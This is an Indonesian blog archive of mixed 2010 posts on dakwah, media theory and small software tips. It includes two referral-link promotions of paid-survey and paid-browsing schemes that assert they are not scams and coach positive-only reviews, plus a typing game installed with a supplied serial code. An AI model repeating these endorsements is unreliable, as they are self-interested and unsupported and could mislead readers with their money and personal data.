Dari ayat tersebut, dakwah merupakan suatu kewajiban yang mengajak manusia kepada jalan tuhan dengan cara hikmah, mau’idhah hasanah, dan mujadalah yang ahsan. Maka setiap muslim seharusnya memiliki pemahaman yang jelas tentang tujuan dakwah. Secara umum, tujuan dakwah dapat diformulasikan sebagai berikut:
1. membimbing manusia kepada agama Allah.
2. memberikan bukti kepada mereka yang menjauh atau menentang agama.
3. melaksanakan kewajiban yang Allah berikan kepada kita, kaum muslim.
4. memuliakan kalimat Allah di muka bumi.

Keberhasilan dakwah akan terwujud dengan baik apabila unsur-unsur dakwah terpenuhi dengan baik. Adapun unsur-unsur dakwah tersebut antara lain:

1. Subjek dakwah
Subjek dakwah merupakan orang atau sekelompok orang yang melaksanakan atau menyiarkan dakwah. Subjek dakwah sebagai pelaksana dakwah biasanya dikenal dengan nama dai, juru dakwah, pelaksana dakwah.
2. Materi dakwah
Adapun materi dakwah yang diberikan pada dasarnya bersumber dari Al-Quran dan Hadist sebagai sumber utama yang meliputi aqidah, syariah dan akhlak.
3. Metode dakwah
Metode dakwah adalah cara-cara yang dipergunakan oleh seorang dai untuk menyampaikan materi. Metode dakwah yang arif berdasarkan Al-Quran surat An-nahl:25, ada tiga macam, yaitu bil hikmah, mauidzah al-hasanah, dan mujadalah.

PROFESI

Profesi adalah pekerjaan yang membutuhkan pelatihan dan penguasaan terhadap suatu pengetahuan khusus. Suatu profesi biasanya memiliki asosiasi profesi, kode etik, serta proses sertifikasi dan lisensi yang khusus untuk bidang profesi tersebut. Seseorang yang memiliki suatu profesi tertentu, disebut profesional.

Suatu kegiatan disebut professional apabila didukung oleh keahlian tertentu berdasarkan kualitas tertentu, yang diperoleh dari pendidikan dan pelatihan tertentu. Untuk mengetahui suatu pekerjaan termasuk profesi atau bukan, ada beberapa standar yang dapat dijadikan indikatornya, yaitu:

1. Pekerjaan itu mempunyai fungsi dan signifikasi sosial karena diperlukan untuk mengabdi kepada masyarakat. Dipihak lain, pengakuan masyarakat merupakan syarat mutlak bagi suatu profesi jauh lebih penting dari pengakuan pemerintah.

2. Profesi menuntut ketrampilan tertentu yang diperoleh lewat pendidikan dan latihan yang lama dan intensif serta dilakukan dalam lembaga tertentu secara social dapat dipertanggungjawabkan (accountable).

3. Profesi didukung oleh suatu disiplin ilmu (a systemic body of knowledge), bukan sekedar serpihan atau hanya common sense.

4. Ada kode etik yang menjadi pedoman perilaku anggotanya beserta sanksi yang jelas dan tegas terhadap pelanggaran kode etik. Pengawasan terhadap ditegakkannya kode etik dilakukan oleh organisasi profesi.

5. Sebagai konsekuensi dari layanan yang diberikan kepada masyarakat, maka anggota profesi secara perorangan atau kelompok memeperoleh imbalan financial atau material.

Berdasarkan indikator yang tersebut maka Dakwah bisa dikatakan sebuah profesi karena :

1. Dakwah merupakan kewajiban yang diperintahkan oleh Allah. Kewajiban ini tentunya membutuhkan orang-orang yang kompeten melakukan kewajiban tersebut yang dikenal dengan istilah da’i. oleh karena itu, da’i diperlukan bekal atau pendidikan yang intensif agar dapat melaksanakan pekerjaannya secara maksimal.

2. Dakwah sangat dibutuhkan masyarakat karena manusia secara fitrah membutuhkan dakwah sebagai media untuk mengetahui cara bersyukur dan berterimakasih kepada Tuhan yang memiliki alam semesta ini. Disamping dakwah dibutuhkan untuk memperbaiki kehidupan manusia.

3. Dakwah sudah menjadi kajian akademik, yang memiliki bangunan teori dan landasan operasional dalam menggerakkan aktivitas dakwah.

4. Adanya organisasi dakwah misalnya Asosiasi Profesi Dakwah Indonesia (APDI) . Dimana masing masing organisasi terdapat pendidikan dan pelatihan.

KESIMPULAN

Dakwah merupakan kewajiban bagi setiap muslim, menyeru kepada kebaikan dan mencegah kemungkaran. Dakwah merupakan profesi selama terdapat indicator dari profesi. Yaitu adanya pengabdian kepada masyarakat, ketrampilan yang diperoleh dari pendidikan dan pelatihan, didukung oleh disiplin ilmu, ada kode etik atau pengawasan dari organisasi dan konsekuensi dari asyarakat berupa imbalan.

Adapun aktivitas dakwah yang dilakukan secara sambilan dan nafkahnya diperoleh dari pekerjaan lain, maka kegiatan dakwah seperti itu bukan sebagai profesi dan pelakunya idak disebut sebagai professional. Pelaku adkwah seperti ini disebut sebagai juru dakwah amatiran. Pelaku dakwah professional sudah tentu dituntut memiliki keahlian dan kualitas ilmu yang luas dan mendalam. Bagi mereka perlu melaksanakan kode etik profesi.

DAFTAR PUSTAKA

- Basith, Abdul. 2006. Wacana Dakwah Kontemporer. Yogyakarta: Pustaka Pelajar Offset.
- Aziz, Ali Moh. 2004. Ilmu Dakwah. Jakarta. Prenata media
- Nurfuadi, Reaktualisasi Profesi Dakwah. Komunika Vol 1 januari-Juni 2008. Purwokerto: STAIN Press.
- Atceh, baker Aboue. 1971. Beberapa Catatan Mengenai Dakwah Islam, Semarang: Romadoni.
- http://id.wikipedia.org/wiki/Profesi

Update Status Terbalik di FaceBook, Friendster dan Blog

2010-06-01T22:02:00.000-07:00

Berbagai cara dilakukan orang untuk mendapatkan perhatian dari teman lain baik itu di facebook dan friendster. Salah satunya adalah dengan Membuat tulisan terbalik (upside down writer).

Ketika melihat update status teman facebook lain penulis, penulis sedikit kesulitan membaca update statusnya karena tulisannya yang terbalik

Karena penasaran, penulis mencari di google dengan kata pencarian membuat tulisan terbalik di facebook. Akhirnya penulis mendapatkan bahwa untuk Membuat tulisan terbalik (upside down writer) tidak hanya bisa diterapkan di facebook, tetapi bisa juga diterapkan di Twitter, YouTube, MySpace, Yahoo, MSN, AOL, Bebo, Craigslist, Gmail, dan blog (baik itu wordpress, blogspot maupun joomla).

Cara membuat tulisan terbalik ini tidaklah susah, kita cukup dengan memamfaatkan berbagai layanan on-line yang tersedia secara gratis (free) yaitu :

1. http://www.sherv.net/flip.html

2. http://www.fliptextgenerator.com/

3. http://www.sevenwires.com/play/UpsideDownLetters.html

4. http://revfad.com/flip.html

Pada prinsipnya, penggunaan media di atas hampir sama semuanya. Kali ini penulis akan mencoba menerapkan di salah satu layanan di atas yaitu www.sherv.net. Caranya sebagai berikut :

Masukkanlah tulisan yang ingin ditampilkan untuk di putar balik.
Terdapat dua hasil tulisan terbalik yang ditampilkan, yaitu untuk messenger dan untuk website blog.
Copy-paste tulisan yang terdapat di kotak ke-3 (tiga) kedalam facebook, friendster ataupun blog anda.
Publish / tayangkan hasil tulisan anda untuk melihat hasilnya

Namun layanan ini sepertinya cocok digunakan untuk layanan hiburan, bukan untuk blog terutama yang berisi berita. Berikut contoh tulisan terbalik

Contoh tulisan yang akan di balikkan :

membuat tulisan terbalik di facebook, friendster dan blog

Hasil tulisan yang telah dibalikkan :

ƃolq uɐp ɹǝʇspuǝıɹɟ `ʞooqǝɔɐɟ ıp ʞılɐqɹǝʇ uɐsılnʇ ʇɐnqɯǝɯ

Selamat mencoba

sumber : disini

Belajar mengetik 10 jari dengan game Typeshark

2010-06-01T07:29:00.000-07:00

Mengetik itu mudah, hanya tinggal pencet tombol sesuai dengan huruf yang diinginkan, tapi tahukah anda utnuk mempercepat ketikan kita paling tidak kita harus memaksimalkan seluruh jari tangan kita.?

Saya akan memperkenalkan kepada anda yang ingin bisa mengetik cepat dengan memaksimalkan sepuluh jari anda. Program ini bisa dikatakan game juga, namun permainannya dengan menebak rangkaian huruf.

Dalam game ini juga ada tutorial menggunakan sepuluh jari anda. untuk lebih jelasnya langsung saja download dan install gamenya.

Download disini

Cara install :
1. Ekstrak TypeShark.zip dengan program Winrar

2. Masukkan Kode registrasi di file serial.txt

Konstruksi Sosial Media Massa

2010-06-01T06:09:00.000-07:00

A. Latar Belakang Kajian Konstruksi Sosial Media

Pada mulanya, iklan televisi merupakan subkajian sosiologi komunikasi massa yang kemudian bersentuhan dengan studi komunikasi bisnis dan budaya popular. Di saat iklan memperoleh medium yang disebut televisi, pesan-pesannya semakin menjadi hidup, bergairah, dan memenuhi sasaran secara lebih efektif bila dibandingkan dengan iklan melalui media lainnya.

Selama ini iklan televisi telah banyak menumbuhkan kegairahan sosiologis dalam interaksi sosial di antara anggota masyarakat, sebagaimana beberapa contoh berbagai parodi (bagian dari interaksi verbal yang terdengar di masyarakat). Di antaranya terdengar di tengah senda gurau anak-anak, ‘aku dan kau, jelekan kau’. Parodi lain yang juga terdengar di kalangan remaja yang sedang bersitegang, ‘ah teori’. Dua parodi itu ternyata ditiru dari iklan Dancow dan sampo Clear yang sudah cukup lama ditayangkan di televise. Ada juga parodi yang menggelitik telinga seperti, ‘orang pintar minum tolak angin’ (Tolak Angin).

Parodi-parodi di atas hanyalah hiburan musiman yang berkembang, kemudian hilang, dan muncul lagi, namun lebih dari itu, kenyataan ini menyadarkan bahwa adanya sebuah realitas baru di masyarakat yang merefleksikan parodi-parodi itu karena seseorang melihat iklan televisi. Bahkan realitas sosial tersebut dapat atau sedang dikonstruksi oleh sebuah iklan televisi.

Parodi hanyalah salah satu contoh dari realitas kekuatan media mengkonstruksi realitas sosial, di mana melalui kekuatan itu media memindahkan realitas sosial ke dalam pesan media dengan atau setelah diubah citranya, kemudian media memindahkannya melalui replikasi citra ke dalam realitas sosial yang baru di masyarakat, seakan realitas itu sedang hidup di masyarakat. Contohnya iklan susu Dancow di televisi yang menyebutkan ‘aku dan kau suka Dancow’. Pada awalnya ide iklan tersebut diangkat dari dialog seorang ibu dengan anaknya (sebuah realitas sosial lama). Namun, begitu dialog itu terjadi dalam media televisi, maka telah terjadi perubahan citra, bahwa Dancow bukan lagi susu sembarangan. Hal ini dikarenakan ketika pada akhir dialog, sang anak sehabis minum susu Dancow lalu ia memberitahukan kepada ibunya, kalau tangannya telah menyentuh telinga. Artinya, sang anak telah cepat besar hanya dengan meminum segelas Dancow.

Berdasarkan contoh iklan susu Dancow tersebut, akhirnya menggiring kepada serangkaian pertanyaan tentang bagaimana suatu realitas sosial bisa dikonstruksi oleh iklan televisi. Dengan kata lain, adakah format iklan tertentu yang dapat mengkonstruksi realitas sosial. Begitu pula seharusnya ada substansi tertentu yang menunjukkan adanya ciri-ciri realitas sosial yang dibentuk oleh iklan, kemudian, adakah makna dan implikasi sosial tertentu yang terdapat simbol dan citra realitas sosial suatu iklan.

Secara teoritis persoalan itu sementara dapat dijawab bahwa konstruksi sosial iklan televisi adalah cara bagaimana realitas baru itu bisa dikonstruksi oleh media melalui interaksi simbolik dan padanan budaya dalam dunia intersubjektif serta proses pelembagaan realitas baru. Sebagaimana dikatakan Parera, terciptanya konstruksi sosial itu melalui tiga momen dialektis, yakni eksternalisasi, objektivasi, dan internalisasi. Sehingga sebagai media konstruksi realitas sosial, iklan mampu melampaui momen dialektis.

Namun, masalah-masalah dominan dalam bab ini, yakni persoalan iklan televisi mengkonstruksi realitas sosial, atau dengan kata lain bagaimana konstruksi iklan televisi atas realitas sosial dalam masyarakat kapitalis. Persoalan spesifiknya menyangkut substansi mengenai:

1. Proses konstruksi iklan televisi atas realitas sosial sebagai refleksi dari kekuatan konstruksi sosial pencipta iklan televisi;
2. Bentuk atau ciri realitas sosial apa yang dibentuk atau dibangun oleh konstruksi sosial pencipta iklan televisi;
3. Makna dan implikasi sosial suatu simbol realitas sosial dari iklan televisi bagi masyarakat pemirsa televisi.

B. Teori konstruksi sosial

Paradigma Definisi Sosial

Sebelum memahami teori konstruksi sosial, akan dijelaskan terlebih dahulu tentang paradigma definisi sosial dan paradigma konstruktivis. Ritzer menjelaskan bahwa ide dasar semua teori dalam paradigma definisi sosial sebenarnya berpandangan bahwa manusia adalah aktor yang kreatif dari realitas sosialnya. Artinya, tindakan manusia tidak sepenuhnya ditentukan oleh norma-norma, kebiasaan-kebiasaan, nilai-nilai, dan sebagainya, yang semua itu tercakup dalam fakta sosial yaitu tindakan yang tergambarkan struktur dan pranata sosial.

Manusia dalam banyak hal memiliki kebebasan untuk bertindak di luar batas kontrol struktur dan pranata sosialnya di mana individu berasal. Manusia secara aktif dan kreatif mengembangkan dirinya melalui respon-respon terhadap stimulus dalam dunia kognitifnya. Karena itu, paradigma definisi sosial lebih tertarik pada apa yang ada dalam pemikiran manusia tentang proses sosial, terutama para pengikut interaksi simbolik. Dalam proses sosial, individu manusia dipandang sebagai pencipta realitas sosial yang relatif bebas di dalam dunia sosialnya.

Yang menjadi pusat perhatian dalam paradigma definisi sosial adalah tentang tindakan sosial, yaitu tindakan individu mempunyai makna atau arti subyektif bagi dirinya dan diarahkan kepada tindakan orang lain. Teori yang tergabung adalah teori aksi, interaksionisme simbolik, dan fenomenologi. Dalam pandangan paradigma definisi sosial, realitas adalah hasil ciptaan manusia kreatif melalui kekuatan konstruksi sosial terhadap dunia sosial di sekelilingnya. Dunia sosial yang dimaksud (menurut George Simmel) bahwa realitas dunia sosial itu berdiri sendiri di luar individu, yang menurut kesan kita itu ‘ada’ dalam diri sendiri dan hukum yang menguasainya.

Paradigma Konstruktivis

Sementara paradigma konstruktivis ialah paradigma di mana kebenaran suatu realitas sosial dilihat sebagai hasil konstruksi sosial, dan kebenaran suatu realitas sosial bersifat relatif (nisbi). Pertama, dilihat dari penjelasan ontologis, realitas yang dikonstruksi itu berlaku sesuai konteks spesifik yang dinilai relevan oleh pelaku sosial. Kedua, paradigma konstruktivis ditinjau dari konteks epistemologis, bahwa pemahaman tentang suatu realitas merupakan produk interaksi antara peneliti dengan objek yang diteliti. Dalam hal ini, paradigma konstruktivis bersifat transactionalist atau subjectivist. Ketiga, dalam konteks aksiologi, yakni peneliti sebagai passionate participation, fasilitator yang menjembatani keragaman subjektivitas pelaku sosial.

Posisi pembahasan teoretis dalam bab ini, berada pada studi-studi masyarakat dan komunikasi massa (mass communication and society) dengan topik kajian utama media massa dan konstruksi sosial atas realitas sosial (mass media and social construction of reality). Untuk menempatkan kajian ini pada kerangka sosiologis, maka dalam pembahasan nanti, paradigma definisi sosial menjadi basis dominan di samping paradigma konstruktivis (constructivism paradigm). Sehingga diharapkan dapat menjembatani kedua paradigma, yakni kerangka studi sosiologi komunikasi dengan spesifikasi konstruksi sosial iklan televisi dalam masyarakat kapitalis.

Teori Konstruksi Realitas

Konsep mengenai konstruksi pertama kali diperkenalkan oleh Peter L. Berger, seorang interpretatif. Peter L. Berger bersama-sama dengan Thomas Luckman mengatakan setiap realitas sosial dibentuk dan dikonstruksi oleh manusia. Mereka menyebutkan proses terciptanya konstruksi realitas sosial melalui adanya tiga tahap, yakni eksternalisasi, objektivasi, dan internalisasi. Secara singkat, penjelasannya adalah sebagai berikut:

1. Eksternalisasi ialah proses penyesuaian diri dengan dunia sosiokultural sebagai produk manusia. Dimulai dari interaksi antara pesan iklan dengan individu pemirsa melalui tayangan televisi. Tahap pertama ini merupakan bagian yang penting dan mendasar dalam satu pola interaksi antara individu dengan produk-produk sosial masyarakatnya. Yang dimaksud dalam proses ini ialah ketika suatu produk sosial telah menjadi sebuah bagian penting dalam masyarakat yang setiap saat dibutuhkan oleh individu, maka produk sosial itu menjadi bagian penting dalam kehidupan seseorang untuk melihat dunia luar;
2. Objektivasi ialah tahap di mana interaksi sosial yang terjadi dalam dunia intersubjektif yang dilembagakan atau mengalami proses institusionalisasi. Pada tahap ini, sebuah produk sosial berada proses institusionalisasi, sedangkan individu memanifestasikan diri dalam produk-produk kegiatan manusia yang tersedia, baik bagi produsen-produsennya maupun bagi orang lain sebagai unsur dari dunia bersama. Objektivasi ini bertahan lama sampai melampaui batas tatap muka di mana mereka bisa dipahami secara langsung. Dengan demikian, individu melakukan objektivasi terhadap produk sosial, baik penciptanya maupun individu lain. Kondisi ini berlangsung tanpa harus mereka saling bertemu. Artinya, proses ini bisa terjadi melalui penyebaran opini sebuah produk sosial yang berkembang di masyarakat melalui diskursus opini masyarakat tentang produk sosial, dan tanpa harus terjadi tatap muka antarindividu dan pencipta produk sosial;
3. Internalisasi ialah proses di mana individu mengidentifikasikan dirinya dengan lembaga-lembaga sosial atau organisasi sosial tempat individu menjadi anggotanya. Terdapat dua pemahaman dasar dari proses internalisasi secara umum; pertama, bagi pemahaman mengenai ‘sesama saya’ yaitu pemahaman mengenai individu dan orang lain; kedua, pemahaman mengenai dunia sebagai sesuatu yang maknawi dari kenyataan sosial.

C. Teori Politik-Ekonomi Media

Garnham mengemukakan beberapa asumsi yang menjadi kerangka berpikir dari teori politik-ekonomi media, yaitu:

“An approach which focuses more on economic structure than on ideological content of media; It asserts the dependence of ideology on the economic base and directs research attention to the empirical analysis of the structure of ownership and to the way media market forces operate; From this point of view, the media institution has to be considered as part of the economic system though with close links to the political system; The predominant character of the knowledge of and for society produced by the media can be largely accounted for by the exchange value of different kinds of content, under conditions of pressure to expand markets, and by the underlying economic interests of owners and decision makers” .

(Sebuah pendekatan yang lebih memfokuskan pada struktur ekonomi daripada isi ideologi media; Teori ini menyatakan ketergantungan ideologi pada dasar ekonomi dan menunjukkan perhatian penelitian pada analisis empiris terhadap struktur kepemilikan dan mekanisme kerja kekuatan pasar media; Dari sudut pandang ini, institusi media harus dipertimbangkan sebagai bagian dari sistem ekonomi yang berkaitan dengan sistem politik; Kualitas pengetahuan yang diproduksi media untuk masyarakat, sebagian besar dapat ditentukan oleh pertukaran nilai berbagai macam isi di dalam kondisi yang memaksakan perluasan pasar, dan di bawah kepentingan ekonomi dan pembuat kebijakan).

Teori Politik-Ekonomi Media (political-economic media theory) bisa dikategorikan salah satu akar dari teori makro komunikasi massa. Secara komprehensif, Teori Politik-Ekonomi Media memusatkan perhatian bahwa media massa sebagai bagian dari suatu industri yang mempunyai kaitan erat dengan aspek ekonomi dan politik. Aspek ekonomi bisa dirumuskan dengan bagaimana media menjual atau memasarkan isi berita. Di dalam pemikiran ini, isi berita pada media bisa disebut sebagai sebuah komoditi untuk dijual ke pasar. Tetapi, isi berita suatu media dikontrol oleh apa yang diinginkan pasar. Di sinilah kekuatan pasar sebagai bagian dari sistem ekonomi memiliki pengaruh terhadap isi berita media massa.

Sedangkan hubungan antara institusi pers dengan aspek politik bisa ditinjau dari struktur kepemilikan media dan ideologinya. Namun, tidak dapat disangkal bahwa institusi pers memiliki ketergantungan dan bahkan lebih dekat dengan sistem politik (pembuat kebijakan) suatu negara. Maka dari itu, aspek ekonomi dan politik selalu mempengaruhi pemberitaan sebuah media baik cetak maupun elektronik.

Daftar Pustaka

Bungin, Burhan. 2007. Konstruksi Sosial Media Massa. Jakarta: Kencana Prenada Media Group.

McQuail, Dennis. 1987. Mass Communication Theory: An Introduction. London and New Delhi: Sage Publications.

Sumber

Sebaran Matakuliah Jurusan Dakwah - Program Studi KPI

2010-06-01T04:32:00.000-07:00

Sebaran matakuliah
Kurikulum berbasis Kompetensi
Jurusan Dakwah - Program Studi KPI

No	Kode	Mata Kuliah	Bobot SKS
1	Sti.001	Filsafat Pancasila	2
2	Sti.003	Akidah Islamiyah	3
3	Sti.006	Ulumul Qur'an	3
4	Sti.007	Ulumul Hadits	3
5	Sti.008	Islamic Building	2
6	Sti.014	IAD/ILH	2
7	Sti.015	ISD/IBD	2
8	Sti.015	Bahasa Inggris I	2
9	Sti.019	Bahasa Arab I	2
10	Sti.024	BTA & PPI *)	0
		Jumlah	21

*) Teknis pelaksanaannya diatur kemudian

Tantangan dakwah di era posmodernisme

2010-06-01T03:56:00.000-07:00

Tantangan dakwah di era posmodernisme

Elya Munfarida*

Abstract:

As a criticism to modernism, posrnodernism has created new cultural realities different from the previous. Through its political acts and strategies, postmodernism has constructed cultural hypereality and complexity. This changebecomes a chance and also threat that we need to be critical to anticipate the negative effects. One of its strategies is cultural deconstruction, which denies transcendental signs, meanings, and values, represents one of its negative effects. It will eliminate religious values which by contrast place transcendental values as its principle. For that reason, we need to con textual ize Islamic teachings in order not to make postmodernism eliminate Muslims' sense of religiousity. Da 'wa, as a means of communication and transformation ofIslamic values, plays a significant role in this postmodernism era. Consequently, reconstruction of contextual da 'wa strategy should be committed to balance the domination of postmodernism cultures.

Keywords:
postmodemism, capitalism, contextualizaton, da'wa strategy

Pendahuluan

Globalisasi informasi telah menjadikan sekat-sekat antar wilayah atau negara semakin terkikis atau bahkan telah hilang. Konflik sosial politik, krisis ekonomi, bene aria alam, bahkan sampai gaya ~ busana yang terjadi dan berkembang di suatu wilayah dapat disaksikan, dirasakan dan dialami secara langsung oleh penduduk di bagian lain di dunia. Dalam bukunya yang sudah k1asik, Understanding media, The Extensions of Man, Marshal Me Luhan secara optimis memprediksikan bahwa perkembangan teknologi informasi - khususnya televisi dan komputer - telah memungkinkan umat manusia hidup di dalam dunia yang disebutnya desa global. Dunia yang tidak lebih besar dari sebuah layar kaca atau disket, yang di dalamnya semua informasi dapat diakumulasikan, direproduksi dan disiarkan kembali mclalui media rersebut.[i] Dalam pernyataan Mc Luhan, tersirat optimismenya terhadap peran teknologi informasi bagi perkembangan kemanusiaan.

Narnun demikian, dalam perkembangarmya, globalisasi informasi ternyata juga membawa ekses negatif yang terlewatkan atau luput dari prediksi Mc Luhan. Globalisasi informasi telah menirnbulkan ekses over informasi (informasi yang beriebihan). Informasi diproduksi secara berlebihan (overload) sehingga meneiptakan kondisi hyper-informasi, di mana informasi tidak iagi berfungsi mengkomunikasikan pesan untuk ditangkap maknanya dan kemudian ditransendensikan guna peningkatan kualitas hidup manusia, tapi justru menimbulkan kehampaan dan ketidakbermaknaan. Obesitas informasi yang diproduksi media telah mengaburkan realitas dan fantasi, yang benar dan yang palsu, yang bermakna dan yang tidak bermakna, yang baik dan yang buruk, yang bermoral dan yang amoral. Kondisi inilah yang disebut Jean Baudrillard dan Umiwilo Eco sebagai dunia hiperealitas, yakni keadaan runtuhnya realitas, yilng diambil alih oleh rekayasa model-model (citraan, halusinasi, simulasi[ii]), yang dianggap lebih nyata dari realitas sendiri, sehingga perbedaan antara keduanya menjadi kabur,' Tayangan sinetron, Mickey Mouse, Superman dan berbagai tontonan lain yang pada dasarnya bersifat fantasi karena tidak ada relefansi realitasnya, dianggap lebih nyata dari realitas sosial.

* penulis adalah Magister Agama UIN Sunan Klaijaga, Yogyakarta, Dosen tetap Jurusan Dakwah STAIN Purwokerto

[i] Yasraf Amir Piliang, Dunia yang Dilipat, Tamasya Melampaui Batas-Batas Kcbudayaan, (Yogyakarta: Jalasutra, 2004), hat. 198-199.

[ii] Simulasi (simulation) adalah proses pcnciptaan bentuk-bcntuk nyata melalui model-model yang tidak ada asal-usul atau referensi realitasnya, sehingga memampukan manusia mcmbuat yang supernatural, ilusi, fan tasi , khayali mcnjadi tampak nyata. Miisalnya, film kartun Superman, Batman, dunia Disneyland merupakan bcberapa contoh simulasi dimanaa eksitensinya bersifat ilusi atau fantasi karcna tidak ada referensi realitasnya, narnun tarnpak seperti nyata. lbid., hal 25.

Quran di Microsoft Word

2010-06-01T03:07:00.000-07:00

Seringkali kita membuat artikel ataupun makalah dimana di butuh kan dalil yang bersumber dari Al-quran. Dengan program Quran In Word Ind 1.3, kita bisa memasukkan teks Al-Quran 30 juz beserta terjemahan Arab dan Indonesia. Tentu saja program ini sangat mempermudah kita dalam penulisan dalil Al-Quran di Word.
Berikut cara penginstalannya :
1. Download dan Install program Quran In Word Ind 1.3.

2. Restart Komputer
3. Buka Microsoft Word, maka akan munculmenu baru Al-Quran di sebelah menu help.

Cara Mudah Mendapatkan Uang 27$ Dalam Sehari

2010-06-01T02:13:00.000-07:00

Kini semakin maraknya Bisnis online di internet. Banyak orang menghasilkan uang lewat internet. Salah satunya yaitu, dengan hanya Survey suatu website, kita bisa dapatkan uang $. Hal ini cukup mudah dilakukan bukan?

Saya mengenal program ini sejak sekitar sebulan yang lalu. Nama dari program ini adalah Aw Surveys. Cuma survey kurang lebih 6-7 website, kita akan dapat 27$. Program Survey ini ternyata sudah terbukti membayar alias bukan SCAM/penipuan. Banyak member/anggota dari orang Indonesia yang sudah mendapatkan bayaran dari program ini. Caranya cukup mudah sekali. Anda ikuti tutorial dari Saya, begini caranya:
1. Klik link ini atau Anda bisa buka Awsurveys.com.
2. Klik tulisan “Create A Free Account” di bagian atas kanan website tersebut3. Isi semua data-data yang mereka butuhkan. Dimulai dari User Name sampai dengan E-mail.

4. Setelah selesai mengisi data-datanya, klik create free account di bagian bawah sendiri.
5. Setelah selesai mendaftar disana, Anda login di Aw Survey.
6. Setelah login, Anda bisa mengerjakan survey yang akan anda kerjakan di bagian agak ke bawah halaman (Dibawah kata “The Following Surveys are Available“).

7. Survey semua website yang disediakan oleh pihak Aw Surveys. Saat pertama kali mendaftar, akan ada 6-7 survey yang total surveynya bernilai 27$.

8. Tulislah semua survey dalam bahasa Inggris. Anda hanya memasukkan 3 kalimat opini Anda tentang situs yang di survey. Kalau bisa, tulis survey opini tentang kelebihan website itu, bukan kekurangannya. Hal itu dimaksudkan, agar Anda bisa melakukan payouts saat Current balance Anda sudah mencapai 75$. Pihak Aw Survey akan menilai Survey Anda, apakah itu SPAM Survey atau bukan. Jika Anda hanya memasukkan survey opini asal-asalan, besar kemungkinan pada saat Anda akan melakukan Payouts/Mengambil uang/Redeem Money, Anda tidak akan dibayar oleh mereka. Untuk itu, diharapkan tidak melakukan SPAM Survey.

9. Setelah Anda melakukan semua survey, maka Current balance Anda menjadi 27$. Untuk dapat melakukan payouts, Current balance anda harus 75$. Pembayaran bisa melalui PayPal. Jika belum punya paypal, Anda lihat artikel Saya tentang Bagaimana Cara Membuat Account Paypal .

10. Untuk mencapai 75$, Caranya yaitu ajaklah teman/keluarga/saudara Anda dan dapatkan 1.25$ untuk setiap orang yang berhasil Anda ajak bergabung di Awsurveys.com melalui link referal Anda. Anda bisa mengambil Link referal Anda di halaman refer friends atas sendiri.

Browsing dapet dolar lewat yahoo di Interadmedia

2010-05-31T09:53:00.000-07:00

Kali ini saya ingin memperkenalkan lagi sebuah program “dollar gratis” yang saya rasa paling mudah diikuti oleh siapa saja, bahkan oleh anda yang pemula sekalipun.

Program “dollar gratis” ini dipersembahkan oleh sebuah perusahaan periklanan online yang telah bekerjasama dengan raksasa internet Yahoo! yang akan mengucurkan dollar kepada kita atas segala aktifitas yang kita lakukan di internet.

Nama perusahaan periklanan yang saya maksudkan di sini adalah interADmedia. Mungkin diantara anda sudah pernah ada yang mendengar nama ini sebelumnya.

Melalui situs sederhana ini, saya akan mencoba menguraikan bagaimana cara mendaftar dan cara browsing untuk mendapatkan uang dari interADmedia ini.

Cara Mendaftar di interADmedia

Buka http:///interadmedia.com atau http://interadmedia.com/index.php?ref=22042 (ini link referral saya) lalu klik menu/link “Join and Start Browsing” yang ada di sebelah kanan halaman tersebut. Perhatikan gambar berikut:

Selanjutnya akan terbuka halaman pendaftaran online seperti pada gambar berikut. Silahkan Isi formulir pendaftaran online dengan data anda yang valid.

Cara mengisi formulir pendaftaran :

- Title : pilih salah satu yang sesuai dengan diri anda.

- First Name : isi dengan nama pertama (awal) anda

- Last Name : isi dengan nama kedua anda (nama family)

- Phone : isi dengan nomor telp./hp anda, mulai dengan kode negara kita +62.

- Street Address : isi dengan alamat domisili anda saat ini

- Suite : kosongkan saja

- City : isi dengan nama kota/daerah domisili anda

- Country : pilih Indonesia

- State/Province : pilih nama propinsi tempat domisili anda

- Postal Code : isi dengan kode pos tempat domisili anda

- Email : isi dengan alamat email anda yang masih aktif dan valid

- Retype Email : masukkan ulang email anda tersebut

- Password : buat password anda

- Retype Password : masukkan ulang password anda

- Payment Payout : pilih “Paypal” dan isi alamat email paypal (rekening paypal) anda pada kotak yang tersedia di sebelah kanan di bawah tulisan “Please enter your Paypal address below“. Kalau anda belum tahu dan belum punya rekening Paypal, silahkan klik disini

- Referral : isi dengan 22042 atau kalau sudah ada silahkan dibiarkan aja.

Setelah mengisi data pendaftaran dengan benar dan lengkap, silahkan klik tombol “Register” untuk mendaftar dan mengirimkan formulir anda ke pihak interADmedia. Selanjutnya anda harus konfirmasi pendaftaran anda dan aktifasi melalui e-mail. Silahkan cari di inbox email anda kiriman email otomatis dari interADmedia dengan subject : Activation Mail from interadmedia.com. Klik link aktifasi seperti yang ditunjukkan pada gambar berikut.

Login dan Browsing

Setelah aktifasi, maka anda sudah bisa login ke member area anda untuk mulai browsing dan menghasilkan dollar. Klik tulisan “Browsing Users Login” di sebelah kanan lalu masukkan e-mail dan password yang telah anda daftarkan pada kotak yang tersedia di bawah lalu klik tombol “Users Sign In”. Setiap kali anda mau login untuk menghasilkan dollar, maka selalu gunakan cara seperti ini.

Selanjutnya anda akan masuk ke member area seperti pada gambar berikut. Di sana anda akan lihat jumlah penghasilan anda masih $0.000 karena anda belum melakukan aktifitas yang dibayar yaitu browsing. Nah, untuk melakukan browsing yang dibayar, silahkan klik menu “GET PAID TO BROWSE“.

Setiap kali mengklik tombol “Get Paid to Browse” itu maka akan muncul “Terms and Conditions” yaitu aturan main dari interADmedia seperti pada gambar berikut. Gulung layar ke atas sampai menemukan tombol “Start Browsing” di bagian bawah. Jangan lupa centang “I Agree Terms and Condition” sebelum mengklik tombol “Start Browsing” tsb.

Lalu akan muncul halaman “Browse The Net With Yahoo!” seperti pada gambar berikut ini. Anda boleh melakukan pencarian dengan memasukkan kata kunci yang ingin anda cari di kotak pencarian lalu klik tombol “Search“. Atau anda boleh tidak melakukan apa-apa atau biarkan saja perhitungan waktu berjalan per menit sambil melakukan aktifitas di jendela lain, misalnya buka situs lain, main FB, chatting, buka e-mail, dll.

